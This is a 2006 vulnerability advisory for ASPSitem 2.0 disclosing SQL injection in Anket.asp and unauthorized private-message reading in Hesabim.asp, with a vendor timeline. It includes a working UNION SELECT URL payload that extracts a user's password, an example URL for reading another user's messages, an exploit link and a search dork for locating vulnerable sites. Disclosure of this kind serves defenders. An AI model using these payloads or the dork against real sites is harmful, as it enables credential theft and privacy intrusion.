--Security Report--
Advisory: ASPSitem <=3D 2.0 Multiple Vulnerabilities.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 27/05/06 08:26 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@nukedx.com
Web: http://www.nukedx.com
}
---
Vendor: ASPSitem (http://www.aspsitem.com)
Version: 2.0 and prior versions must be affected.
About: Via this method remote attacker can inject arbitrary SQL =20
queries to bid parameter in Anket.asp.
Remote attacker also can read others private messages.The parameter id =20
in Hesabim.asp did not sanitized properly
for checking the owner status of private message.
Level: Critical
---
How&Example:
SQL injection ->
GET -> http://[victim]/[ASPSitemDir]/Anket.asp?hid=3D[SQL]
EXAMPLE -> =20
http://[victim]/[ASPSitemDir]/Anket.asp?hid=3D4%20union%20select%20sifre,0%2=
0from%20uyeler%20where%20
id%20like%201
with this example remote attacker can leak userid 1's login =20
information from database.
Read others private messages ->
GET/EXAMPLE -> =20
http://[victim]/[ASPSitemDir]/Hesabim.asp?mesaj=3Doku&id=3D1&uye=3Dyourusern=
ame
---
Timeline:
* 27/05/2006: Vulnerability found.
* 27/05/2006: Contacted with vendor and waiting reply.
* 27/05/2006: Vendor already released patch for SQL injection you can =20
find it here: http://www.aspsitem.com/Forum.asp?fo...&msgid=3D44710
--
Exploit: http://www.nukedx.com/?getxpl=3D39
---
Original advisory can be found at: http://www.nukedx.com/?viewdoc=3D39
---
Dorks: "Te=FEekk=FCr ASPSitem"